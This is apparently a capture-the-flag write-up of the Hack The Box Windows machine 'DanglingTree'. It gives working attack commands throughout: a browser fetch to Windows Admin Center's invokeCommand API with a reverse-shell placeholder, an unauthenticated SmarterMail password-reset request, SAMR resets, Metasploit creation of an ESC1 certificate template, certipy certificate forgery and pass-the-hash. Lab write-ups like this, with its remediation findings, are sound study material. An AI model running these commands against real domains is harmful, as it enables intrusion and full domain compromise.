back to writeups

DanglingTree

Hack The Box · app.hackthebox.com/machines/DanglingTree · Season 11
Machine rank #793 Windows Medium Season 11 Active Directory ADCS · ESC1 User Root ● Completed
TL;DR A single-VM Windows Server 2025 Domain Controller that lives up to its name in the final act. Full compromise meant chaining through five identities, each unlocked by a different technique — RCE in Windows Admin Center, an unauthenticated reset in an internal mail server, a mailbox domain-swap to recover a hidden AD password, and a SAMR password reset — to reach a user who could abuse the box's signature flaw: a dangling AD Certificate Services template reference. The CA advertised certificate templates that no longer existed as AD objects, so creating an object with the right name turned an ordinary container permission into an ESC1 path to Domain Admin.
Target
danglingtree.htb · host dc.danglingtree.htb · NetBIOS DANGLINGTREE
Host OS
Windows Server 2025 (build 26100) — Active Directory Domain Controller
Foothold
Guest SMB → leaked creds → CVE-2026-26119 (Windows Admin Center RCE)
Privesc
SmarterMail unauth reset → mailbox domain-swap → ACL chain → SAMR reset → ADCS ESC1
The chain in one line guest SMB → RoE PDF creds → WAC RCE as anderson.w → SmarterMail unauthenticated force-reset → svc_mail → mailbox domain-swap / impersonate → noah.b (AD foothold) → ACL chain → alex.o → SAMR password reset → jake.h → Template_Editors CreateChild → dangling CA template (ESC1) → forged Administrator certificate → NT hash → SYSTEM.

01Recon

A textbook AD Domain Controller port profile, with one port that does not belong:

53   DNS          88   Kerberos     135  msrpc        139  netbios
389  LDAP         445  SMB          464  kpasswd      593  http-rpc-epmap
636  LDAPS        80/443 http(s)    3268/3269 GC LDAP(S)    3389 RDP
6600 mshvlm   <-- Windows Admin Center

One quirk mattered enough to cost me time later, so it goes first: the bare danglingtree.htb name resolves through a stale, unreachable A record, separate from the correct dc.danglingtree.htb record. Anything that resolves the domain name and treats it as the DC host — certipy without -dc-host, for one — silently fails with errors that look like permissions problems. Always pin the real hostname and IP.

That "dangling" DNS record is also deliberate foreshadowing. The box's real vulnerability is the same pattern one layer up.

02Foothold — guest SMB to code execution

A readable share and a Rules of Engagement PDF

Guest SMB access was allowed, and the IT share was readable. It held a Rules of Engagement PDF that carried initial credentials for anderson.w — the kind of document that exists in every real environment and is almost never treated as a secret.

smbclient -N -L //<dc-ip>/            # enumerate shares as guest
smbclient -N //<dc-ip>/IT             # pull the RoE PDF

Windows Admin Center RCE — CVE-2026-26119

Port 6600 is Windows Admin Center. Logged in as anderson.w in the browser, WAC's own invokeCommand REST API will run arbitrary PowerShell in the WAC service context. In DevTools, allow pasting first, then drive the API directly:

fetch('/api/services/WinREST/PowerShell/nodes/dc/invokeCommand', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json; charset=UTF-8',
    'X-Xsrf-Token': document.cookie.match(/XSRF-TOKEN=([^;]+)/)[1],
    'X-Ms-Sme-Module-Name': 'msft.sme.shell',
    'X-Ms-Sme-Module-Version': '6.8.9'
  },
  body: JSON.stringify({ properties: {
      script: "<reverse-shell PowerShell one-liner>",
      command: "Get-WACSMServerConnectionStatus",
      module: "Microsoft.SME.ServerManager",
      state: "ready", useInProcRunspace: false, invokeMode: "Polling"
  }})
}).then(r => r.json()).then(console.log)

That lands a shell as danglingtree\anderson.w.

03svc_mail — an unauthenticated password reset

Internally, a customised SmarterMail instance listens on 127.0.0.1:17017 — never exposed externally. A reverse tunnel gets you to it (chisel works, but the client and server binary versions must match or the tunnel fails silently and you will blame the wrong thing).

The endpoint POST /api/v1/auth/force-reset-password accepts an IsSysAdmin: true flag and a target username with no authentication at all:

Invoke-WebRequest -Uri "http://localhost:17017/api/v1/auth/force-reset-password" -Method POST `
  -Body '{"IsSysAdmin":"true","OldPassword":"whatever","Username":"svc_mail",
          "NewPassword":"<newpass>","ConfirmPassword":"<newpass>"}' `
  -ContentType "application/json"

svc_mail is SmarterMail's PrimarySysAdmin, so that single unauthenticated call hands over an admin console with CanViewPasswords (cleartext mailbox password recovery) and CanImpersonate.

04noah.b — the domain-swap trick

Most of the harvested mailbox passwords do not reuse against real AD accounts. The one that does belongs to noah.b, and noah.b has no mailbox on the live danglingtree.htb domain at all — their data only exists in a detached secondary domain folder, danglingtree.htb.bak. The console will not show you an account it is not serving.

The way through is to make SmarterMail serve the detached data as if it were live:

That password reuses on the real AD domain. noah.b is a dead end for direct privilege escalation — not a local admin, not in Remote Management Users, WinRM denied even over loopback, no useful ACL edges — but it is a genuine domain foothold, which is all the next stage needs.

# enumerate from the new foothold
bloodyAD --host <dc-ip> -d danglingtree.htb -u noah.b -p '<pass>' get writable
# plus LDAP --computers and group dumps into BloodHound
user.txt<redacted>

05alex.o and jake.h — chaining to a certificate-privileged account

BloodHound from noah.b draws the rest of the path:

alex.o's credentials came from reused external, OSINT-style creds that worked directly against AD. Resetting jake.h from there is where the box gets fussy: LDAP password changes (bloodyAD, a raw unicodePwd modify) consistently fail here, because they want signed/sealed LDAPS that the target will not cooperate on. SAMR does it without complaint:

net rpc password jake.h '<newpass>' \
  -U 'danglingtree.htb/alex.o%<alex_pass>' -S <dc-ip>

06The dangling template — ADCS ESC1

Here is the box. certipy-ad find reports the CA publishing several templates as enabled:

certipy-ad find -u jake.h@danglingtree.htb -p '<jake_pass>' \
  -dc-ip <dc-ip> -dc-host dc.danglingtree.htb
# enabled: RemoteAccessVPN, EmployeeAuthTemplate, VPNUserTemplate

Query AD for those objects and you get noSuchObject. They do not exist. The CA is referencing templates that were deleted after being published, or never created — a dangling reference, exactly like the stale DNS record in recon.

Template_Editors grants CreateChild on CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,…. Because the CA already treats one of those names as enabled and published, creating an AD object with that exact name makes it live and requestable immediately — there is no separate "enable on the CA" step, which is normally the part you cannot do without CA admin rights.

Populating the low-level PKI attributes (OIDs, flags, schema version) over raw LDAP is tedious, so I used the Metasploit module that does it properly:

use auxiliary/admin/ldap/ad_cs_cert_template
set RHOSTS <dc-ip>
set USERNAME jake.h
set PASSWORD <jake_pass>
set DOMAIN danglingtree.htb
set CERT_TEMPLATE RemoteAccessVPN
set ACTION CREATE
run
set ACTION UPDATE
set TEMPLATE_FILE <metasploit's shipped esc1_template.yaml>
run

The shipped esc1_template.yaml configures exactly ESC1: Enroll granted to Authenticated Users, and msPKI-Certificate-Name-Flag set to CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT — the requester supplies an arbitrary SAN.

07Domain Admin via a forged certificate

certipy-ad req -u jake.h@danglingtree.htb -p '<jake_pass>' \
  -dc-ip <dc-ip> -dc-host dc.danglingtree.htb \
  -ca danglingtree-DC-CA -template RemoteAccessVPN \
  -upn administrator@danglingtree.htb -sid S-1-5-21-…-500

certipy-ad auth -pfx administrator.pfx -dc-ip <dc-ip>

Two details that will waste your afternoon if you skip them. The -sid is not optional: without an explicit object SID pinned to Administrator's RID 500, certipy-ad auth refuses to trust the UPN/SID mapping (this is StrongCertificateBindingEnforcement doing its job). And sync your clock before authenticating — Kerberos is unforgiving about skew.

That returns the Administrator NT hash. WinRM (5985/5986) is filtered from outside, so evil-winrm is not the way in; impacket over 135/445 is:

impacket-wmiexec administrator@<dc-ip> -hashes <LM>:<NT>
root.txt<redacted>

08Dead ends — do not burn the time I did

09If this were your environment

Finding 1 · Critical

CA publishing certificate templates with no backing AD object

The CA advertised RemoteAccessVPN, EmployeeAuthTemplate and VPNUserTemplate as enabled while none of them existed in AD. Combined with CreateChild on the Certificate Templates container held by a non-PKI group, that turns an ordinary container permission into a live, requestable, ESC1-vulnerable template and full domain compromise.

How I would fix it
NIST 800-53 r5: AC-6 least privilege · CM-6 / CM-7 baseline & least functionality · IA-5(2) PKI-based authentication management · AU-6 audit review
DISA STIG: Windows Server 2025 / Active Directory STIG — PKI template ACLs and CA configuration
CIS: CIS Microsoft Windows Server Benchmark · ADCS hardening guidance
Vendor: Microsoft ADCS ESC1–ESC8 guidance; KB on StrongCertificateBindingEnforcement; certutil template auditing
Finding 2 · Critical

Windows Admin Center remote code execution (CVE-2026-26119)

An authenticated low-privilege user reached arbitrary PowerShell execution in the WAC service context through the invokeCommand API, on a gateway listening on 6600.

How I would fix it
NIST 800-53 r5: SI-2 flaw remediation · SC-7 boundary protection · CM-7 least functionality · AC-6 least privilege
Finding 3 · Critical

SmarterMail unauthenticated force-reset-password

POST /api/v1/auth/force-reset-password accepted an IsSysAdmin flag from an unauthenticated caller and reset the mail platform's PrimarySysAdmin, which then exposed cleartext mailbox passwords and user impersonation.

How I would fix it
NIST 800-53 r5: SI-2 flaw remediation · IA-2 identification & authentication · AC-3 access enforcement · SC-7 boundary protection
Finding 4 · High

AD ACL chain and credential reuse across mail, AD and external services

A helpdesk-style group held ForceChangePassword over a certificate-privileged user, and the same passwords appeared across the mail platform, AD, and external breach data. Neither is a vulnerability on its own; together they are the entire middle of the chain.

How I would fix it
NIST 800-53 r5: AC-6 least privilege · AC-2 account management · IA-5 authenticator management · AU-6 audit review

10Detection — the blue-team side

11Takeaways

◆If this were my environment

The chain used exposed management software, mailbox/domain trust, broad account-reset rights and an unsafe certificate template. I would treat all four as Tier 0 control-plane findings.

Priority controls
  • Patch Windows Admin Center and mail software quickly, restrict both to management networks and require phishing-resistant MFA for administrators.
  • Protect password-reset and SAMR rights with narrowly scoped groups, approval workflows and alerts for privileged-account changes.
  • Review certificate templates for enrollee-supplied subjects, dangerous EKUs and broad enrollment; require manager approval where appropriate.
  • Separate email, workstation and domain-admin identities and prevent Tier 0 credentials from reaching lower-tier systems.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups